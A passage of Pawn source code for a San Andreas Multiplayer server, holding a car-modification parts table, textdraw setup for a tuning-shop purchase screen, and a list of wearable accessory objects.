	{ 1071, "Left Alien Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1072, "Left X-Flow Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1073, "Shadow Wheels", 100, CARMODTYPE_WHEELS },
	{ 1074, "Mega Wheels", 100, CARMODTYPE_WHEELS },
	{ 1075, "Rimshine Wheels", 100, CARMODTYPE_WHEELS },
	{ 1076, "Wires Wheels", 100, CARMODTYPE_WHEELS },
	{ 1077, "Classic Wheels", 100, CARMODTYPE_WHEELS },
	{ 1078, "Twist Wheels", 100, CARMODTYPE_WHEELS },
	{ 1079, "Cutter Wheels", 100, CARMODTYPE_WHEELS },
	{ 1080, "Switch Wheels", 100, CARMODTYPE_WHEELS },
	{ 1081, "Grove Wheels", 100, CARMODTYPE_WHEELS },
	{ 1082, "Import Wheels", 100, CARMODTYPE_WHEELS },
	{ 1083, "Dollar Wheels", 100, CARMODTYPE_WHEELS },
	{ 1084, "Trance Wheels", 100, CARMODTYPE_WHEELS },
	{ 1085, "Atomic Wheels", 100, CARMODTYPE_WHEELS },
	{ 1086, "Stereo Wheels", 100, CARMODTYPE_STEREO },
	{ 1087, "Hydraulics", 100, CARMODTYPE_HYDRAULICS },
	{ 1088, "Alien Roof", 100, CARMODTYPE_ROOF },
	{ 1089, "X-Flow Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1090, "Right Alien Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1091, "X-Flow Roof", 100, CARMODTYPE_ROOF },
	{ 1092, "Alien Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1093, "Right X-Flow Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1094, "Left Alien Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1095, "Right X-Flow Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1096, "Ahab Wheels", 100, CARMODTYPE_WHEELS },
	{ 1097, "Virtual Wheels", 100, CARMODTYPE_WHEELS },
	{ 1098, "Access Wheels", 100, CARMODTYPE_WHEELS },
	{ 1099, "Left Chrome Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1100, "Chrome Grill", 100, -1 }, // Bullbar
	{ 1101, "Left `Chrome Flames` Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1102, "Left `Chrome Strip` Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1103, "Covertible Roof", 100, CARMODTYPE_ROOF },
	{ 1104, "Chrome Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1105, "Slamin Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1106, "Right `Chrome Arches`", 100, CARMODTYPE_SIDESKIRT },
	{ 1107, "Left `Chrome Strip` Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1108, "Right `Chrome Strip` Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1109, "Chrome", 100, -1 }, // Bullbar
	{ 1110, "Slamin", 100, -1 }, // Bullbar
	{ 1111, "Little Sign?", 100, -1 }, // sig
	{ 1112, "Little Sign?", 100, -1 }, // sig
	{ 1113, "Chrome Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1114, "Slamin Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1115, "Chrome", 100, -1 }, // Bullbar
	{ 1116, "Slamin", 100, -1 }, // Bullbar
	{ 1117, "Chrome Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1118, "Right `Chrome Trim` Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1119, "Right `Wheelcovers` Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1120, "Left `Chrome Trim` Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1121, "Left `Wheelcovers` Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1122, "Right `Chrome Flames` Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1123, "Bullbar Chrome Bars", 100, -1 }, // Bullbar
	{ 1124, "Left `Chrome Arches` Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1125, "Bullbar Chrome Lights", 100, -1 }, // Bullbar
	{ 1126, "Chrome Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1127, "Slamin Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1128, "Vinyl Hardtop", 100, CARMODTYPE_ROOF },
	{ 1129, "Chrome Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1130, "Hardtop Roof", 100, CARMODTYPE_ROOF },
	{ 1131, "Softtop Roof", 100, CARMODTYPE_ROOF },
	{ 1132, "Slamin Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1133, "Right `Chrome Strip` Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1134, "Right `Chrome Strip` Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1135, "Slamin Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1136, "Chrome Exhaust", 100, CARMODTYPE_EXHAUST },
	{ 1137, "Left `Chrome Strip` Sideskirt", 100, CARMODTYPE_SIDESKIRT },
	{ 1138, "Alien Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1139, "X-Flow Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1140, "X-Flow Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1141, "Alien Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1142, "Left Oval Vents", 100, CARMODTYPE_VENT_LEFT },
	{ 1143, "Right Oval Vents", 100, CARMODTYPE_VENT_RIGHT },
	{ 1144, "Left Square Vents", 100, CARMODTYPE_VENT_LEFT },
	{ 1145, "Right Square Vents", 100, CARMODTYPE_VENT_RIGHT },
	{ 1146, "X-Flow Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1147, "Alien Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1148, "X-Flow Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1149, "Alien Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1150, "Alien Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1151, "X-Flow Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1152, "X-Flow Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1153, "Alien Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1154, "Alien Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1155, "Alien Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1156, "X-Flow Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1157, "X-Flow Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1158, "X-Flow Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1159, "Alien Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1160, "Alien Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1161, "X-Flow Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1162, "Alien Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1163, "X-Flow Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1164, "Alien Spoiler", 100, CARMODTYPE_SPOILER },
	{ 1165, "X-Flow Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1166, "Alien Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1167, "X-Flow Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1168, "Alien Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1169, "Alien Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1170, "X-Flow Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1171, "Alien Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1172, "X-Flow Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1173, "X-Flow Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1174, "Chrome Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1175, "Slamin Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1176, "Chrome Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1177, "Slamin Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1178, "Slamin Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1179, "Chrome Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1180, "Chrome Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1181, "Slamin Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1182, "Chrome Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1183, "Slamin Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1184, "Chrome Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1185, "Slamin Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1186, "Slamin Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1187, "Chrome Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1188, "Slamin Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1189, "Chrome Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1190, "Slamin Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1191, "Chrome Front Bumper", 100, CARMODTYPE_FRONT_BUMPER },
	{ 1192, "Chrome Rear Bumper", 100, CARMODTYPE_REAR_BUMPER },
	{ 1193, "Slamin Rear Bumper", 100, CARMODTYPE_REAR_BUMPER }
};


enum tpi {
	tID,
	tType,
	bool:tPaintjob,
	PJColor[ 2 ]
};
new TPInfo[ MAX_PLAYERS ][ tpi ];

new globalstring[ 128 ];
new PlayerText:TuningBuy[MAX_PLAYERS][14];
stock CreatePlayerTextDraws( playerid ) {

	TuningBuy[ playerid ][ 0 ] = CreatePlayerTextDraw(playerid, 425.125000, 338.666687, "usebox");
	PlayerTextDrawLetterSize(playerid, TuningBuy[ playerid ][ 0 ], 0.000000, 8.627778);
	PlayerTextDrawTextSize(playerid, TuningBuy[ playerid ][ 0 ], 216.125000, 0.000000);
	PlayerTextDrawAlignment(playerid, TuningBuy[ playerid ][ 0 ], 1);
	PlayerTextDrawColor(playerid, TuningBuy[ playerid ][ 0 ], 0);
	PlayerTextDrawUseBox(playerid, TuningBuy[ playerid ][ 0 ], true);
	PlayerTextDrawBoxColor(playerid, TuningBuy[ playerid ][ 0 ], 102);
	PlayerTextDrawSetShadow(playerid, TuningBuy[ playerid ][ 0 ], 0);
	PlayerTextDrawSetOutline(playerid, TuningBuy[ playerid ][ 0 ], 0);
	PlayerTextDrawFont(playerid, TuningBuy[ playerid ][ 0 ], 0);

	TuningBuy[ playerid ][ 1 ] = CreatePlayerTextDraw(playerid, 319.375000, 337.749847, "Hydraulics");
	PlayerTextDrawLetterSize(playerid, TuningBuy[ playerid ][ 1 ], 0.386249, 1.156664);
	PlayerTextDrawAlignment(playerid, TuningBuy[ playerid ][ 1 ], 2);
	PlayerTextDrawColor(playerid, TuningBuy[ playerid ][ 1 ], -1);
	PlayerTextDrawSetShadow(playerid, TuningBuy[ playerid ][ 1 ], 0);
	PlayerTextDrawSetOutline(playerid, TuningBuy[ playerid ][ 1 ], 1);
	PlayerTextDrawBackgroundColor(playerid, TuningBuy[ playerid ][ 1 ], 51 );
	PlayerTextDrawFont(playerid, TuningBuy[ playerid ][ 1 ], 2);
	PlayerTextDrawSetProportional(playerid, TuningBuy[ playerid ][ 1 ], 1 );
	PlayerTextDrawSetSelectable(playerid, TuningBuy[ playerid ][ 1 ], false );

	TuningBuy[ playerid ][ 2 ] = CreatePlayerTextDraw(playerid, 198.375000, 361.583282, "-");
	PlayerTextDrawLetterSize(playerid, TuningBuy[ playerid ][ 2 ], 18.981874, 0.514999);
	PlayerTextDrawAlignment(playerid, TuningBuy[ playerid ][ 2 ], 1);
	PlayerTextDrawColor(playerid, TuningBuy[ playerid ][ 2 ], -10092289);
	PlayerTextDrawSetShadow(playerid, TuningBuy[ playerid ][ 2 ], 0);
	PlayerTextDrawSetOutline(playerid, TuningBuy[ playerid ][ 2 ], 1);
	PlayerTextDrawBackgroundColor(playerid, TuningBuy[ playerid ][ 2 ], 51);
	PlayerTextDrawFont(playerid, TuningBuy[ playerid ][ 2 ], 2);
	PlayerTextDrawSetProportional(playerid, TuningBuy[ playerid ][ 2 ], 1);

	TuningBuy[ playerid ][ 3 ] = CreatePlayerTextDraw(playerid, 222.500000, 352.916656, "Left `Chrome Flames` Sideskirt");
	PlayerTextDrawLetterSize(playerid, TuningBuy[ playerid ][ 3 ], 0.244999, 1.092499);
	PlayerTextDrawAlignment(playerid, TuningBuy[ playerid ][ 3 ], 1);
	PlayerTextDrawColor(playerid, TuningBuy[ playerid ][ 3 ], -1);
	PlayerTextDrawSetShadow(playerid, TuningBuy[ playerid ][ 3 ], 0);
	PlayerTextDrawSetOutline(playerid, TuningBuy[ playerid ][ 3 ], 1);
	PlayerTextDrawBackgroundColor(playerid, TuningBuy[ playerid ][ 3 ], 51);
	PlayerTextDrawFont(playerid, TuningBuy[ playerid ][ 3 ], 2);
	PlayerTextDrawSetProportional(playerid, TuningBuy[ playerid ][ 3 ], 1);

	TuningBuy[ playerid ][ 4 ] = CreatePlayerTextDraw(playerid, 222.500000, 365.000000, "price: ~w~10000$");
	PlayerTextDrawLetterSize(playerid, TuningBuy[ playerid ][ 4 ], 0.244999, 1.092499);
	PlayerTextDrawAlignment(playerid, TuningBuy[ playerid ][ 4 ], 1);
	PlayerTextDrawColor(playerid, TuningBuy[ playerid ][ 4 ], -1);
	PlayerTextDrawSetShadow(playerid, TuningBuy[ playerid ][ 4 ], 0);
	PlayerTextDrawSetOutline(playerid, TuningBuy[ playerid ][ 4 ], 1);
	PlayerTextDrawBackgroundColor(playerid, TuningBuy[ playerid ][ 4 ], 51);
	PlayerTextDrawFont(playerid, TuningBuy[ playerid ][ 4 ], 2);
	PlayerTextDrawSetProportional(playerid, TuningBuy[ playerid ][ 4 ], 1);

	TuningBuy[ playerid ][ 5 ] = CreatePlayerTextDraw(playerid, 215.125000, 372.999877, "-");
	PlayerTextDrawLetterSize(playerid, TuningBuy[ playerid ][ 5 ], 6.743125, 0.444999);
	PlayerTextDrawAlignment(playerid, TuningBuy[ playerid ][ 5 ], 1);
	PlayerTextDrawColor(playerid, TuningBuy[ playerid ][ 5 ], -10092289);
	PlayerTextDrawSetShadow(playerid, TuningBuy[ playerid ][ 5 ], 0);
	PlayerTextDrawSetOutline(playerid, TuningBuy[ playerid ][ 5 ], 1);
	PlayerTextDrawBackgroundColor(playerid, TuningBuy[ playerid ][ 5 ], 51);
	PlayerTextDrawFont(playerid, TuningBuy[ playerid ][ 5 ], 2);
	PlayerTextDrawSetProportional(playerid, TuningBuy[ playerid ][ 5 ], 1);

	TuningBuy[ playerid ][ 6 ] = CreatePlayerTextDraw(playerid, 206.750000, 347.166564, "-");
	PlayerTextDrawLetterSize(playerid, TuningBuy[ playerid ][ 6 ], 18.981874, 0.514999);
	PlayerTextDrawAlignment(playerid, TuningBuy[ playerid ][ 6 ], 1);
	PlayerTextDrawColor(playerid, TuningBuy[ playerid ][ 6 ], -10092289);
	PlayerTextDrawSetShadow(playerid, TuningBuy[ playerid ][ 6 ], 0);
	PlayerTextDrawSetOutline(playerid, TuningBuy[ playerid ][ 6 ], 1);
	PlayerTextDrawBackgroundColor(playerid, TuningBuy[ playerid ][ 6 ], 51);
	PlayerTextDrawFont(playerid, TuningBuy[ playerid ][ 6 ], 2);
	PlayerTextDrawSetProportional(playerid, TuningBuy[ playerid ][ 6 ], 1);

	TuningBuy[ playerid ][ 7 ] = CreatePlayerTextDraw(playerid, 385.000000, 381.500000, "ld_beat:right");
	PlayerTextDrawLetterSize(playerid, TuningBuy[ playerid ][ 7 ], 0.449999, 1.600000);
	PlayerTextDrawTextSize(playerid, TuningBuy[ playerid ][ 7 ], 27.500000, 13.416657);
	PlayerTextDrawAlignment(playerid, TuningBuy[ playerid ][ 7 ], 2);
	PlayerTextDrawColor(playerid, TuningBuy[ playerid ][ 7 ], -1);
	PlayerTextDrawUseBox(playerid, TuningBuy[ playerid ][ 7 ], true);
	PlayerTextDrawBoxColor(playerid, TuningBuy[ playerid ][ 7 ], 255);
	PlayerTextDrawSetShadow(playerid, TuningBuy[ playerid ][ 7 ], 0);
	PlayerTextDrawSetOutline(playerid, TuningBuy[ playerid ][ 7 ], 1);
	PlayerTextDrawBackgroundColor(playerid, TuningBuy[ playerid ][ 7 ], 51);
	PlayerTextDrawFont(playerid, TuningBuy[ playerid ][ 7 ], 4);
	PlayerTextDrawSetProportional(playerid, TuningBuy[ playerid ][ 7 ], 1);
	PlayerTextDrawSetSelectable(playerid, TuningBuy[ playerid ][ 7 ], true);

	TuningBuy[ playerid ][ 8 ] = CreatePlayerTextDraw(playerid, 230.375000, 381.916473, "ld_beat:left");
	PlayerTextDrawLetterSize(playerid, TuningBuy[ playerid ][ 8 ], 0.449999, 1.600000);
	PlayerTextDrawTextSize(playerid, TuningBuy[ playerid ][ 8 ], 27.500000, 13.416657);
	PlayerTextDrawAlignment(playerid, TuningBuy[ playerid ][ 8 ], 2);
	PlayerTextDrawColor(playerid, TuningBuy[ playerid ][ 8 ], -1);
	PlayerTextDrawUseBox(playerid, TuningBuy[ playerid ][ 8 ], true);
	PlayerTextDrawBoxColor(playerid, TuningBuy[ playerid ][ 8 ], 255);
	PlayerTextDrawSetShadow(playerid, TuningBuy[ playerid ][ 8 ], 0);
	PlayerTextDrawSetOutline(playerid, TuningBuy[ playerid ][ 8 ], 1);
	PlayerTextDrawBackgroundColor(playerid, TuningBuy[ playerid ][ 8 ], 51);
	PlayerTextDrawFont(playerid, TuningBuy[ playerid ][ 8 ], 4);
	PlayerTextDrawSetProportional(playerid, TuningBuy[ playerid ][ 8 ], 1);
	PlayerTextDrawSetSelectable(playerid, TuningBuy[ playerid ][ 8 ], true);

	TuningBuy[ playerid ][ 9 ] = CreatePlayerTextDraw(playerid, 320.000000, 381.499938, "BUY");
	PlayerTextDrawTextSize(playerid, TuningBuy[ playerid ][ 9 ], 23.000000, 13.000000 );
	PlayerTextDrawLetterSize(playerid, TuningBuy[ playerid ][ 9 ], 0.421249, 1.360832 );
	PlayerTextDrawAlignment(playerid, TuningBuy[ playerid ][ 9 ], 2);
	PlayerTextDrawColor(playerid, TuningBuy[ playerid ][ 9 ], -1);
	PlayerTextDrawSetShadow(playerid, TuningBuy[ playerid ][ 9 ], 0);
	PlayerTextDrawSetOutline(playerid, TuningBuy[ playerid ][ 9 ], 1);
	PlayerTextDrawBackgroundColor(playerid, TuningBuy[ playerid ][ 9 ], 51);
	PlayerTextDrawFont(playerid, TuningBuy[ playerid ][ 9 ], 2);
	PlayerTextDrawSetProportional(playerid, TuningBuy[ playerid ][ 9 ], 1);
	PlayerTextDrawSetSelectable(playerid, TuningBuy[ playerid ][ 9 ], true);

	TuningBuy[ playerid ][ 10 ] = CreatePlayerTextDraw(playerid, 200.000000, 396.416656, "-");
	PlayerTextDrawLetterSize(playerid, TuningBuy[ playerid ][ 10 ], 18.981874, 0.514999);
	PlayerTextDrawAlignment(playerid, TuningBuy[ playerid ][ 10 ], 1);
	PlayerTextDrawColor(playerid, TuningBuy[ playerid ][ 10 ], -10092289);
	PlayerTextDrawSetShadow(playerid, TuningBuy[ playerid ][ 10 ], 0);
	PlayerTextDrawSetOutline(playerid, TuningBuy[ playerid ][ 10 ], 1);
	PlayerTextDrawBackgroundColor(playerid, TuningBuy[ playerid ][ 10 ], 51);
	PlayerTextDrawFont(playerid, TuningBuy[ playerid ][ 10 ], 2);
	PlayerTextDrawSetProportional(playerid, TuningBuy[ playerid ][ 10 ], 1);

	TuningBuy[ playerid ][ 11 ] = CreatePlayerTextDraw(playerid, 225.000000, 401.916595, "     "SERVER_NAME1" "SERVER_NAME2" Tuning System");
	PlayerTextDrawLetterSize(playerid, TuningBuy[ playerid ][ 11 ], 0.258749, 0.987497);
	PlayerTextDrawAlignment(playerid, TuningBuy[ playerid ][ 11 ], 1);
	PlayerTextDrawColor(playerid, TuningBuy[ playerid ][ 11 ], -1);
	PlayerTextDrawSetShadow(playerid, TuningBuy[ playerid ][ 11 ], 0);
	PlayerTextDrawSetOutline(playerid, TuningBuy[ playerid ][ 11 ], 1);
	PlayerTextDrawBackgroundColor(playerid, TuningBuy[ playerid ][ 11 ], 51);
	PlayerTextDrawFont(playerid, TuningBuy[ playerid ][ 11 ], 2);
	PlayerTextDrawSetProportional(playerid, TuningBuy[ playerid ][ 11 ], 1);

	TuningBuy[ playerid ][ 12 ] = CreatePlayerTextDraw(playerid, 203.500000, 411.416839, "-");
	PlayerTextDrawLetterSize(playerid, TuningBuy[ playerid ][ 12 ], 18.981874, 0.514998);
	PlayerTextDrawAlignment(playerid, TuningBuy[ playerid ][ 12 ], 1);
	PlayerTextDrawColor(playerid, TuningBuy[ playerid ][ 12 ], -10092289);
	PlayerTextDrawSetShadow(playerid, TuningBuy[ playerid ][ 12 ], 0);
	PlayerTextDrawSetOutline(playerid, TuningBuy[ playerid ][ 12 ], 1);
	PlayerTextDrawBackgroundColor(playerid, TuningBuy[ playerid ][ 12 ], 51);
	PlayerTextDrawFont(playerid, TuningBuy[ playerid ][ 12 ], 2);
	PlayerTextDrawSetProportional(playerid, TuningBuy[ playerid ][ 12 ], 1);

	TuningBuy[ playerid ][ 13 ] = CreatePlayerTextDraw(playerid, 404.500000, 337.999877, "ld_beat:cross");
	PlayerTextDrawLetterSize(playerid, TuningBuy[ playerid ][ 13 ], 0.449999, 1.600000);
	PlayerTextDrawTextSize(playerid, TuningBuy[ playerid ][ 13 ], 17.500000, 8.749991);
	PlayerTextDrawAlignment(playerid, TuningBuy[ playerid ][ 13 ], 2);
	PlayerTextDrawColor(playerid, TuningBuy[ playerid ][ 13 ], -1);
	PlayerTextDrawUseBox(playerid, TuningBuy[ playerid ][ 13 ], true);
	PlayerTextDrawBoxColor(playerid, TuningBuy[ playerid ][ 13 ], 255);
	PlayerTextDrawSetShadow(playerid, TuningBuy[ playerid ][ 13 ], 0);
	PlayerTextDrawSetOutline(playerid, TuningBuy[ playerid ][ 13 ], 1);
	PlayerTextDrawBackgroundColor(playerid, TuningBuy[ playerid ][ 13 ], 51);
	PlayerTextDrawFont(playerid, TuningBuy[ playerid ][ 13 ], 4);
	PlayerTextDrawSetProportional(playerid, TuningBuy[ playerid ][ 13 ], 1);
	PlayerTextDrawSetSelectable(playerid, TuningBuy[ playerid ][ 13 ], true);
}


enum mbinfo
{
		Float:XPOS,
		Float:YPOS,
		Float:ZPOS,
		Position[50]
};
enum TOYS_SAMPLE
{
	TOY_OB_TYPE,
    TOY_OB_ID,
    TOY_NAME[80]
};
new const TOYS_LIST[][TOYS_SAMPLE] =
{
	//Hats:
	{1, 18921, "Beret1"},
	{1, 18922, "Beret2"},
	{1, 18923, "Beret3"},
	{1, 18924, "Beret4"},
	{1, 18925, "Beret5"},
	{1, 18926, "Hat1"},
	//.....................
	{1, 18927, "Hat2"},
	{1, 18928, "Hat3"},
	{1, 18929, "Hat4"},
	{1, 18930, "Hat5"},
	{1, 18931, "Hat6"},
	{1, 18932, "Hat7"},
	//.....................
	{1, 18933, "Hat8"},
	{1, 18934, "Hat9"},
	{1, 18935, "Hat10"},
	{1, 18936, "Helmet1"},
	{1, 18937, "Helmet2"},
	{1, 18938, "Helmet3"},
	//.....................
	{1, 18939, "CapBack1"},
	{1, 18940, "CapBack2"},
	{1, 18941, "CapBack3"},
	{1, 18942, "CapBack4"},
	{1, 18943, "CapBack5"},
	{1, 18944, "HatBoater1"},
	//.....................
	{1, 18945, "HatBoater2"},
	{1, 18946, "HatBoater3"},
	{1, 18947, "HatBowler1"},
	{1, 18948, "HatBowler2"},
	{1, 18949, "HatBowler3"},
	{1, 18950, "HatBowler4"},
	//.....................
	{1, 18951, "HatBowler5"},
	{1, 18952, "BoxingHelmet1"},
	{1, 18953, "CapKnit1"},
	{1, 18954, "CapKnit2"},
	{1, 18955, "CapOverEye1"},
	{1, 18956, "CapOverEye2"},
	//.....................
	{1, 18957, "CapOverEye3"},
	{1, 18958, "CapOverEye4"},
	{1, 18959, "CapOverEye5"},
	{1, 18960, "CapRimUp1"},
	{1, 18961, "CapTrucker1"},
	{1, 18962, "CowboyHat2"},
	//.....................
	{1, 18963, "CJElvisHead"},
	{1, 18964, "SkullyCap1"},
	{1, 18965, "SkullyCap2"},
	{1, 18966, "SkullyCap3"},
	{1, 18967, "HatMan1"},
	{1, 18968, "HatMan2"},
	//.....................
	{1, 18969, "HatMan3"},
	{1, 18970, "HatTiger1"},
	{1, 18971, "HatCool1"},
	{1, 18972, "HatCool2"},
	{1, 18973, "HatCool3"},
	{1, 18976, "MotorcycleHelmet2"},
	//.....................
	{1, 18977, "MotorcycleHelmet3"},
	{1, 18978, "MotorcycleHelmet4"},
	{1, 18979, "MotorcycleHelmet5"},
	{1, 19093, "HardHat2"},
	{1, 19094, "BurgerShotHat1"},
	{1, 19095, "CowboyHat1"},
	//.....................
	{1, 19096, "CowboyHat3"},
	{1, 19097, "CowboyHat4"},
	{1, 19098, "CowboyHat5"},
	{1, 19099, "PoliceCap2"},
	{1, 19100, "PoliceCap3"},
	{1, 19101, "ArmyHelmet1"},
	//.....................
	{1, 19102, "ArmyHelmet2"},
	{1, 19103, "ArmyHelmet3"},
	{1, 19104, "ArmyHelmet4"},
	{1, 19105, "ArmyHelmet5"},
	{1, 19106, "ArmyHelmet6"},
	{1, 19107, "ArmyHelmet7"},
	//.....................
	{1, 19108, "ArmyHelmet8"},
	{1, 19109, "ArmyHelmet9"},
	{1, 19110, "ArmyHelmet10"},
	{1, 19111, "ArmyHelmet11"},
	{1, 19112, "ArmyHelmet12"},
	{1, 19113, "SillyHelmet1"},
	//.....................
	{1, 19114, "SillyHelmet2"},
	{1, 19115, "SillyHelmet3"},
	{1, 19116, "PlainHelmet1"},
	{1, 19117, "PlainHelmet2"},
	{1, 19118, "PlainHelmet3"},
	{1, 19119, "PlainHelmet4"},
	//.....................
	{1, 19120, "PlainHelmet5"},
	{1, 19137, "CluckinBellHat1"},
	{1, 19160, "HardHat3"},
	{1, 19161, "PoliceHat1"},
	{1, 19162, "PoliceHat2"},
	{1, 19558, "PizzaHat1"},
	//.....................
	{1, 19554, "beanie1"},
	{1, 19553, "strawhat"},
	{1, 19528, "witcheshat1"},
	{1, 19521, "policehat01"},
	{1, 19520, "pilothat01"},
	{1, 19519, "hair1"},
	//.....................
	{1, 19518, "hair5"},
	{1, 19517, "hair3"},
	{1, 19516, "hair2"},
	{1, 19352, "tophat01"},
	{1, 19487, "tophat02"},
	{1, 19064, "SantaHat1"},
	//.....................
	{1, 19065, "SantaHat2"},
	{1, 19066, "SantaHat3"},
	{1, 19067, "HoodyHat1"},
	{1, 19141, "SWATHelmet1"},
	{1, 19330, "fire_hat01"},
	{1, 395, ""},
	//Glass:
	{2, 19006, "GlassesType1"},
	{2, 19007, "GlassesType2"},
	{2, 19008, "GlassesType3"},
	{2, 19009, "GlassesType4"},
	{2, 19010, "GlassesType5"},
	{2, 19011, "GlassesType6"},
	//..................
	{2, 19012, "GlassesType7"},
	{2, 19013, "GlassesType8"},
	{2, 19014, "GlassesType9"},
	{2, 19015, "GlassesType10"},
	{2, 19016, "GlassesType11"},
	{2, 19017, "GlassesType12"},
	//..................
	{2, 19018, "GlassesType13"},
	{2, 19019, "GlassesType14"},
	{2, 19020, "GlassesType15"},
	{2, 19021, "GlassesType16"},
	{2, 19022, "GlassesType17"},
	{2, 19023, "GlassesType18"},
	//..................
	{2, 19024, "GlassesType19"},
	{2, 19025, "GlassesType20"},
	{2, 19026, "GlassesType21"},
	{2, 19027, "GlassesType22"},
	{2, 19028, "GlassesType23"},
	{2, 19029, "GlassesType24"},
	//..................
	{2, 19030, "GlassesType25"},
	{2, 19031, "GlassesType26"},
	{2, 19032, "GlassesType27"},
	{2, 19138, "PoliceGlasses1"},
	{2, 19139, "PoliceGlasses2"},
	{2, 19140, "PoliceGlasses3"},
	//Watch
	{3, 19039, "WatchType1"},
	{3, 19040, "WatchType2"},
	{3, 19041, "WatchType3"},
	{3, 19042, "WatchType4"},
	{3, 19043, "WatchType5"},
	{3, 19044, "WatchType6"},
	//..................
	{3, 19045, "WatchType7"},
	{3, 19046, "WatchType8"},
	{3, 19047, "WatchType9"},
	{3, 19048, "WatchType10"},
	{3, 19049, "WatchType11"},
	{3, 19050, "WatchType12"},
	//..................
	{3, 19051, "WatchType13"},
	{3, 19052, "WatchType14"},
	{3, 19053, "WatchType15"},
	{3, 395, ""},
	{3, 395, ""},
	{3, 395, ""},
	//Mask
	{4, 18911, "Mask1"},
	{4, 18912, "Mask2"},
	{4, 18913, "Mask3"},
	{4, 18914, "Mask4"},
	{4, 18915, "Mask5"},
	{4, 18916, "Mask6"},
	//..................
	{4, 18917, "Mask7"},
	{4, 18918, "Mask8"},
	{4, 18919, "Mask9"},
	{4, 18920, "Mask10"},
	{4, 19472, "gasmask"},
	{4, 11704, "BDupsMask"},
	//..................
	{4, 19038, "HockeyMask"},
	{4, 19036, "HockeyMask"},
	{4, 19037, "HockeyMask"},
	{4, 18974, "MaskZorro"},
	{4, 19557, "SexyMask"},
	{4, 19801, "Balaclava1"},
	//..................
	//Bandana
	{5, 18891, "Bandana1"},
	{5, 18892, "Bandana2"},
	{5, 18893, "Bandana3"},
	{5, 18894, "Bandana4"},
